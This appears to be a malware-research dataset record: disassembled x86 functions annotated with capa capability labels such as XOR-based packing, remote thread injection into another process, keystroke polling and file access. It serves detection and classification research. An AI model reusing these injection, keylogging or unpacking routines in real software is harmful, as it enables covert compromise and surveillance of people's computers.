joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x431004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x5dfb44da
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x5cd75890
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x406972
Capabilities:
Create thread
Inject thread

Disassembly:
mov eax, dword [0x497460]
mov dword [0x497670], eax
mov edx, dword [0x497474]
call fcn.00415030
push eax
call fcn.00415100
push 0x497674
call fcn.00415070
push dword [0x497674]
call fcn.0040b1d0
mov ebx, eax
inc ebx
mov dword [0x497678], ebx
push dword [0x497670]
push 0
push 0x1f0fff
call sub.KERNEL32.dll_OpenProcess
mov dword [0x49767c], eax
cmp dword [0x49767c], 0
je 0x406af6
push 4
push 0x1000
push dword [0x497678]
push 0
push dword [0x49767c]
call sub.KERNEL32.dll_VirtualAllocEx
mov dword [0x497680], eax
cmp dword [0x497680], 0
je 0x406aeb
push 0x497684
push dword [0x497678]
push dword [0x497674]
push dword [0x497680]
push dword [0x49767c]
call sub.KERNEL32.dll_WriteProcessMemory
mov ebx, dword [0x497684]
cmp ebx, dword [0x497678]
jl 0x406acf
push str.Kernel32.dll
push 0
call fcn.0040e2b8
and eax, eax
je 0x406acf
push 0x450751
push 0
call fcn.0040e2f5
mov dword [0x497688], eax
push 0
call fcn.0040e1fa
cmp dword [0x497688], 0
je 0x406acf
push 0
push 0
push dword [0x497680]
push dword [0x497688]
push 0
push 0
push dword [0x49767c]
call sub.KERNEL32.dll_CreateRemoteThread
mov dword [0x49768c], eax
cmp dword [0x49768c], 0
je 0x406acf
push 0xffffffff
push dword [0x49768c]
call sub.KERNEL32.dll_WaitForSingleObject
push 0x497410
push dword [0x49768c]
call sub.KERNEL32.dll_GetExitCodeThread
push 0x4000
push dword [0x497678]
push dword [0x497680]
push dword [0x49767c]
call sub.KERNEL32.dll_VirtualFreeEx
push dword [0x49767c]
call sub.KERNEL32.dll_CloseHandle
push dword [0x497474]
call fcn.00411ba5
mov dword [0x497410], eax
ret
Function at 0x406b07
Capabilities:
Enumerate process modules

Disassembly:
lea ebp, [0x497948]
mov dword [ebp], 0x224
mov dword [0x49747c], 0
push dword [0x497460]
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [0x497690], eax
cmp dword [0x497690], 0
je 0x406cf8
push 0x497948
push dword [0x497690]
call sub.KERNEL32.dll_Module32First
and eax, eax
je 0x406ceb
call fcn.00415030
push eax
push eax
push dword [0x497474]
call fcn.0040b9f0
call fcn.00415160
call fcn.00415030
push eax
push eax
call fcn.00415030
push eax
push eax
lea ebp, [0x497948]
lea eax, [ebp + 0x20]
push eax
call fcn.004145a0
call fcn.004151a2
add dword [esp], edx
call fcn.0040b9f0
call fcn.00415240
mov edx, eax
call fcn.00415240
mov ecx, eax
call fcn.00415210
je 0x406c5b
lea ebp, [0x497948]
mov eax, dword [ebp + 0x14]
mov dword [0x49747c], eax
call fcn.00415030
push eax
mov edx, dword [0x4974ec]
call fcn.00415030
push eax
call fcn.00415100
mov edx, str.Copy.dll
call fcn.00415100
call fcn.004151a2
add dword [esp], edx
call fcn.00411ba5
call fcn.004151c0
mov dword [0x497410], eax
push 0x12c
call fcn.0040dfc9
call fcn.00415030
push eax
mov edx, dword [0x4974ec]
call fcn.00415030
push eax
call fcn.00415100
mov edx, str.Copy.dll
call fcn.00415100
call fcn.00415160
call fcn.00415030
push eax
push eax
lea eax, [ebp + 0x120]
push eax
call fcn.004145a0
call fcn.004151a2
add dword [esp], edx
call fcn.004151a2
add dword [esp + 4], edx
call fcn.00411bb7
call fcn.004151c0
mov dword [0x497410], eax
push 0x497948
push dword [0x497690]
call sub.KERNEL32.dll_Module32Next
mov dword [0x497410], eax
cmp dword [0x497410], 0
je 0x406cdd
call fcn.00415030
push eax
push eax
push dword [0x497474]
call fcn.0040b9f0
call fcn.00415160
call fcn.00415030
push eax
push eax
call fcn.00415030
push eax
push eax
lea ebp, [0x497948]
lea eax, [ebp + 0x20]
push eax
call fcn.004145a0
call fcn.004151a2
add dword [esp], edx
call fcn.0040b9f0
call fcn.00415240
mov edx, eax
call fcn.00415240
mov ecx, eax
call fcn.00415210
je 0x406cdd
lea ebp, [0x497948]
mov eax, dword [ebp + 0x14]
mov dword [0x49747c], eax
mov ebx, dword [0x497410]
and ebx, ebx
jne 0x406c5b
push dword [0x497690]
call sub.KERNEL32.dll_CloseHandle
jmp 0x406d07
push str.CreateToolhelp32Snapshot____failed_
push str.Error
call fcn.0040d8f5
ret
Function at 0x409b34
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
xor eax, eax
push eax
push dword [esp + 0xc]
call sub.USER32.DLL_GetAsyncKeyState
mov ebx, eax
and ebx, 0x8000
and ebx, ebx
je 0x409b56
mov dword [esp], 1
jmp 0x409b66
mov dword [esp], 0
xor edx, edx
xor eax, eax
jmp 0x409c9f
mov ebx, dword [esp + 0x10]
cmp ebx, 1
je 0x409b9e
push 0x10
call sub.USER32.DLL_GetAsyncKeyState
mov ebx, eax
and ebx, 0x8000
and ebx, ebx
je 0x409b8e
mov dword [esp], 1
jmp 0x409b9e
mov dword [esp], 0
xor edx, edx
xor eax, eax
jmp 0x409c9f
mov ebx, dword [esp + 0x14]
cmp ebx, 1
je 0x409bd6
push 0x11
call sub.USER32.DLL_GetAsyncKeyState
mov ebx, eax
and ebx, 0x8000
and ebx, ebx
je 0x409bc6
mov dword [esp], 1
jmp 0x409bd6
mov dword [esp], 0
xor edx, edx
xor eax, eax
jmp 0x409c9f
mov ebx, dword [esp + 0x18]
cmp ebx, 1
je 0x409c0e
push 0x12
call sub.USER32.DLL_GetAsyncKeyState
mov ebx, eax
and ebx, 0x8000
and ebx, ebx
je 0x409bfe
mov dword [esp], 1
jmp 0x409c0e
mov dword [esp], 0
xor edx, edx
xor eax, eax
jmp 0x409c9f
mov ebx, dword [esp + 0x10]
cmp ebx, 1
jne 0x409c3a
push 0x10
call sub.USER32.DLL_GetAsyncKeyState
mov ebx, eax
and ebx, 0x8000
and ebx, ebx
je 0x409c3a
mov dword [esp], 0
xor edx, edx
xor eax, eax
jmp 0x409c9f
mov ebx, dword [esp + 0x14]
cmp ebx, 1
jne 0x409c66
push 0x11
call sub.USER32.DLL_GetAsyncKeyState
mov ebx, eax
and ebx, 0x8000
and ebx, ebx
je 0x409c66
mov dword [esp], 0
xor edx, edx
xor eax, eax
jmp 0x409c9f
mov ebx, dword [esp + 0x18]
cmp ebx, 1
jne 0x409c92
push 0x12
call sub.USER32.DLL_GetAsyncKeyState
mov ebx, eax
and ebx, 0x8000
and ebx, ebx
je 0x409c92
mov dword [esp], 0
xor edx, edx
xor eax, eax
jmp 0x409c9f
xor edx, edx
mov eax, 1
jmp 0x409c9f
add esp, 4
pop ebx
ret 0x10
Function at 0x40cc3c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push pe_nt_image_headers32
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x40cd20
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test byte [ebp + 0x10], 1
mov ebx, eax
je 0x40ccd6
push edi
push edi
push edi
push dword [ebp + 0xc]
call fcn.0040d7d0
mov ebx, eax
cmp ebx, edi
je 0x40cd15
push dword [ebp + 8]
push dword [0x497bfc]
call fcn.00414687
mov esi, eax
mov eax, 0x10000
push eax
push ebx
mov dword [esi + 0x18], eax
call fcn.0040d773
push eax
push ebx
call fcn.0040d759
push eax
call fcn.0040d365
mov dword [esi], eax
cmp eax, edi
je 0x40ccce
mov dword [esi + 0x14], ebx
mov dword [ebp - 4], esi
jmp 0x40cd15
push ebx
call fcn.0040d780
jmp 0x40cd15
push ebx
push edi
push dword [0x497400]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, edi
je 0x40cd15
push edi
lea eax, [ebp - 0xc]
push eax
push ebx
push esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
push esi
push dword [ebp + 8]
call fcn.0040d34f
push esi
push edi
push dword [0x497400]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov eax, dword [ebp - 4]
pop edi
leave
ret 0xc
Function at 0x40ce65
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor edi, edi
push dword [0x497bfc]
xor ebx, ebx
call fcn.00414724
mov esi, eax
test esi, esi
je 0x40cfeb
mov eax, dword [esi]
mov dword [ebp - 4], eax
cmp dword [esi + 0x14], ebx
je 0x40cf17
push dword [ebp + 8]
call fcn.0040d497
jmp 0x40cea8
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esi + 0x1d], bl
jne 0x40cea0
push dword [esi + 0x14]
call fcn.0040d7a9
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x20], eax
xor ebx, ebx
push ebx
mov eax, esi
mov byte [esi + 0x1c], 1
call fcn.0040cd3a
pop ecx
lea eax, [ebp + 0xc]
push eax
push ebx
push esi
push 0x40cdad
push 0x2000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x40ceec
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x10], 0xffffffff
je 0x40cefd
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.0040d567
mov eax, dword [esi]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x34]
mov esi, dword [esi]
mov eax, dword [esi]
push 1
push ebx
push ebx
push esi
call dword [eax + 0x30]
jmp 0x40cfeb
test byte [ebp + 0xc], 1
je 0x40cf20
xor ebx, ebx
inc ebx
test byte [ebp + 0xc], 2
je 0x40cfad
push esi
call fcn.0040d004
lea eax, [esi + 4]
push 0x10
push eax
call fcn.00414f50
pop ecx
pop ecx
lea edx, [ebp - 4]
push edx
push dword [ebp - 4]
mov edi, eax
mov eax, dword [0x497c10]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
test eax, eax
jne 0x40cfeb
mov eax, dword [ebp - 4]
mov dword [edi], eax
mov byte [edi + 5], bl
mov byte [edi + 4], 1
mov eax, dword [ebp - 4]
push dword [esi + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 4]
push dword [esi + 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x40]
cmp dword [ebp + 0x10], 0xffffffff
je 0x40cf91
push edi
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.0040d4c7
jmp 0x40cf9d
mov eax, dword [ebp - 4]
push dword [esi + 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x3c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ebx
push 0
push 0
push eax
call dword [ecx + 0x30]
jmp 0x40cfeb
mov ecx, dword [eax]
push eax
call dword [ecx + 0x48]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x34]
cmp dword [ebp + 0x10], 0xffffffff
je 0x40cfcf
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.0040d567
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ebx
push 0
push 0
push eax
call dword [ecx + 0x30]
test eax, eax
jne 0x40cfeb
xor edi, edi
inc edi
mov byte [esi + 0x1c], 1
mov byte [esi + 0x1e], bl
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40d989
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
xor ebx, ebx
push esi
push edi
cmp dword [esp + 0x10], ebx
je 0x40d9d8
push dword [esp + 0x10]
push 0x40d907
call dword [sym.imp.USER32.DLL_EnumWindows]
mov esi, dword [0x497c40]
cmp esi, ebx
je 0x40da2c
mov edi, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [esi + 8], eax
jne 0x40d9d0
cmp byte [esi + 0x10], bl
je 0x40d9d0
push 3
push ebx
push ebx
push ebx
push ebx
push 0xfffffffffffffffe
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
mov esi, edi
cmp edi, ebx
jne 0x40d9ad
jmp 0x40da2c
mov esi, dword [0x497c40]
cmp esi, ebx
je 0x40da2c
push ebp
mov ebp, dword [esi]
lea edi, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [edi], eax
jne 0x40da25
cmp byte [esi + 0x11], bl
je 0x40da02
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [esi + 0x10], bl
je 0x40da18
push 3
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
push edi
push 0x497c40
call fcn.00414f7d
pop ecx
pop ecx
mov esi, ebp
cmp ebp, ebx
jne 0x40d9e3
pop ebp
pop edi
pop esi
pop ebx
ret 4
Function at 0x40e0df
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x497c50], 0
jne 0x40e0f1
call fcn.0040e030
push esi
push edi
push dword [0x497c4c]
mov edi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call edi
mov esi, eax
test esi, esi
jne 0x40e116
call fcn.0040e030
push dword [0x497c4c]
call edi
mov esi, eax
mov eax, dword [ebp + 8]
push 0x11
lea ecx, [esi + 8]
pop edx
mov edi, eax
imul edi, edi, 0x53a9b4fb
xor eax, eax
inc eax
sub eax, edi
mov dword [ecx + 0x44], eax
imul eax, eax, 0x53a9b4fb
xor edi, edi
inc edi
sub edi, eax
mov eax, edi
mov dword [ecx], eax
add ecx, 4
dec edx
jne 0x40e11f
and dword [esi], edx
push 0x1f
mov dword [esi + 4], 0xa
pop edi
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
mov eax, esi
call fcn.0040dfe9
dec edi
pop ecx
pop ecx
jne 0x40e150
pop edi
pop esi
leave
ret 4

Function at 0x410f85
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
call dword [sym.imp.USER32.DLL_GetFocus]
mov esi, dword [sym.imp.USER32.DLL_GetKeyState]
mov edi, eax
mov bl, pe_nt_image_headers32
test edi, edi
je 0x411001
push 9
call esi
test bl, al
je 0x411001
push 0x11
call esi
test bl, al
jne 0x411001
push 0x10
call esi
test bl, al
jne 0x411001
push 0x12
call esi
test bl, al
jne 0x411001
push 5
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.USER32.DLL_GetClassNameA]
push 4
lea eax, [esp + 0x14]
push str.Rich
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x411001
push eax
push eax
push 0x44e
push edi
call dword [sym.imp.USER32.DLL_SendMessageA]
test eax, 0x800
jne 0x411001
xor eax, eax
jmp 0x411083
push ebp
mov ebp, dword [esp + 0x20]
test ebp, ebp
je 0x41102a
push 0x11
call esi
test bl, al
jne 0x411022
push 0x10
call esi
test bl, al
jne 0x411022
push 0x12
call esi
test bl, al
je 0x41102a
push 1
push ebp
call fcn.00410f3e
mov esi, dword [sym.imp.USER32.DLL_GetPropA]
test edi, edi
je 0x411040
push str.PB_Hotkey
push edi
call esi
test eax, eax
jne 0x411080
push str.PB_WindowID
push ebp
call esi
mov esi, eax
test esi, esi
je 0x411080
lea eax, [esp + 0x10]
push eax
push ebp
call dword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
test eax, eax
je 0x411080
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x10], eax
jne 0x411080
dec esi
push esi
push dword [0x498254]
call fcn.00414724
test eax, eax
je 0x411080
mov eax, dword [eax + 8]
jmp 0x411082
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret 4
Function at 0x411bb7
Capabilities:
Copy file

Disassembly:
xor eax, eax
cmp dword [esp + 4], eax
je 0x411bd6
cmp dword [esp + 8], eax
je 0x411bd6
push eax
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
jmp 0x411bd8
xor eax, eax
ret 8

Function at 0x411beb
Capabilities:
Check if file exists
Get disk information
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x248
push esi
or esi, 0xffffffff
push edi
mov edi, esi
test eax, eax
je 0x411d23
cmp byte [eax], 0
je 0x411d23
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call sub.MSVCRT.dll_strlen
add esp, 0x10
lea ecx, [ebp + eax - 0x109]
cmp eax, 2
je 0x411c45
cmp eax, 3
jne 0x411c85
cmp byte [ebp - 0x107], 0x3a
jne 0x411c85
cmp eax, 2
jne 0x411c66
lea eax, [ebp - 0x108]
push 0x44a2bc
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
jbe 0x411d23
jmp 0x411d20
mov byte [ecx], 0
dec ecx
cmp byte [ecx], 0x5c
je 0x411c81
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x411ccf
test byte [ebp - 0x248], 0x10
je 0x411cb4
push 0xfffffffffffffffe
pop edi
or esi, 0xffffffff
jmp 0x411cc6
mov esi, dword [ebp - 0x22c]
xor edi, edi
or edi, dword [ebp - 0x228]
xor edx, edx
or esi, edx
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x411d23
cmp byte [ebp - 0x108], 0x5c
jne 0x411ce1
cmp byte [ebp - 0x107], 0x5c
je 0x411cf3
cmp byte [ebp - 0x108], 0x2e
jne 0x411d23
cmp byte [ebp - 0x107], 0x2e
jne 0x411d23
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x411d0b
test al, 0x10
je 0x411d23
jmp 0x411d1d
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
jbe 0x411d23
or esi, 0xffffffff
push 0xfffffffffffffffe
pop edi
mov eax, edi
pop edi
mov edx, esi
pop esi
leave
ret 4

Function at 0x411d30
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 4], eax
cmp dword [esi + 0x14], eax
jne 0x411d65
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4
Function at 0x4121c0
Capabilities:
Write file on windows

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
test edi, edi
je 0x412219
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x412218
mov eax, dword [esp + 0x10]
mov ecx, dword [0x498278]
push eax
push ecx
call fcn.00414724
test eax, eax
je 0x412214
cmp dword [eax + 4], 0
je 0x412202
push esi
push edi
push eax
call fcn.00412580
pop esi
pop edi
pop ecx
ret 0xc
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop esi
pop edi
pop ecx
ret 0xc

Function at 0x412220
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x14]
push ebx
push ebp
push edi
push eax
push 0x1000
mov dword [esp + 0x1c], 0x1000
call fcn.00415500
mov ecx, dword [esp + 0x1c]
mov edx, dword [0x498278]
push ecx
mov edi, eax
push edx
mov ebp, edi
call fcn.00414724
mov ebx, eax
test ebx, ebx
je 0x412339
push esi
lea ecx, [ecx]
mov byte [esp + 0x13], 0
cmp dword [ebx + 4], 0
je 0x41227e
push 1
lea eax, [esp + 0x17]
push eax
push ebx
call fcn.00412680
mov dword [esp + 0x14], eax
jmp 0x412295
mov eax, dword [ebx]
push 0
lea ecx, [esp + 0x18]
push ecx
push 1
lea edx, [esp + 0x1f]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov al, byte [esp + 0x13]
test al, al
je 0x4122a5
mov byte [ebp], al
mov al, byte [esp + 0x13]
inc ebp
mov ecx, dword [esp + 0x18]
mov esi, ebp
sub esi, edi
cmp esi, ecx
jl 0x4122cf
mov edx, dword [esp + 0x24]
add ecx, 0x1000
push edx
push ecx
mov dword [esp + 0x20], ecx
call fcn.00415500
mov edi, eax
mov al, byte [esp + 0x13]
lea ebp, [esi + edi]
test al, al
je 0x412338
cmp dword [esp + 0x14], 0
je 0x4122e6
cmp al, 0xd
je 0x4122e6
cmp al, 0xa
jne 0x412260
dec ebp
cmp al, 0xd
jne 0x412338
cmp dword [ebx + 4], 0
je 0x412300
push 1
lea eax, [esp + 0x17]
push eax
push ebx
call fcn.00412680
jmp 0x412317
mov eax, dword [ebx]
push 0
lea ecx, [esp + 0x18]
push ecx
push 1
lea edx, [esp + 0x1f]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp byte [esp + 0x13], 0xa
je 0x412338
cmp dword [ebx + 4], 0
je 0x412329
inc dword [ebx + 0xc]
jmp 0x412338
mov ecx, dword [ebx]
push 1
push 0
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
pop esi
sub edi, ebp
add edi, dword [esp + 0x14]
mov byte [ebp], 0
push edi
call fcn.00415650
pop edi
pop ebp
pop ebx
add esp, 0xc
ret 8
Function at 0x412360
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
mov ecx, dword [0x498278]
push esi
push eax
push ecx
mov dword [esp + 0xc], 0
call fcn.00414724
mov esi, eax
test esi, esi
je 0x4123e3
cmp dword [esi + 4], 0
je 0x4123b2
push 1
lea edx, [esp + 8]
push edx
push esi
call fcn.00412680
test eax, eax
je 0x4123a6
inc dword [esi + 0xc]
xor eax, eax
pop esi
add esp, 8
ret 4
mov eax, 1
pop esi
add esp, 8
ret 4
mov edx, dword [esi]
push 0
lea eax, [esp + 0xc]
push eax
push 1
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4123ee
cmp dword [esp + 8], 0
je 0x4123ee
mov eax, dword [esi]
push 1
push 0
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 4]
pop esi
add esp, 8
ret 4
or eax, 0xffffffff
pop esi
add esp, 8
ret 4

Function at 0x412460
Capabilities:
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
mov ecx, dword [0x498278]
push eax
push ecx
mov byte [esp + 0xb], 0
call fcn.00414724
test eax, eax
je 0x4124aa
cmp dword [eax + 4], 0
lea edx, [esp + 3]
je 0x412497
push 1
push edx
push eax
call fcn.00412680
movzx eax, byte [esp + 3]
pop ecx
ret 4
mov eax, dword [eax]
push 0
lea ecx, [esp + 0xc]
push ecx
push 1
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, byte [esp + 3]
pop ecx
ret 4

Function at 0x4124c0
Capabilities:
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
mov ecx, dword [0x498278]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.00414724
test eax, eax
je 0x41250a
cmp dword [eax + 4], 0
lea edx, [esp]
je 0x4124f7
push 4
push edx
push eax
call fcn.00412680
mov eax, dword [esp]
pop ecx
ret 4
mov eax, dword [eax]
push 0
lea ecx, [esp + 0xc]
push ecx
push 4
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp]
pop ecx
ret 4

Function at 0x412520
Capabilities:
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
mov ecx, dword [0x498278]
push eax
push ecx
mov byte [esp + 0xb], 0
call fcn.00414724
test eax, eax
je 0x41256a
cmp dword [eax + 4], 0
lea edx, [esp + 3]
je 0x412557
push 1
push edx
push eax
call fcn.00412680
movsx eax, byte [esp + 3]
pop ecx
ret 4
mov eax, dword [eax]
push 0
lea ecx, [esp + 0xc]
push ecx
push 1
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
movsx eax, byte [esp + 3]
pop ecx
ret 4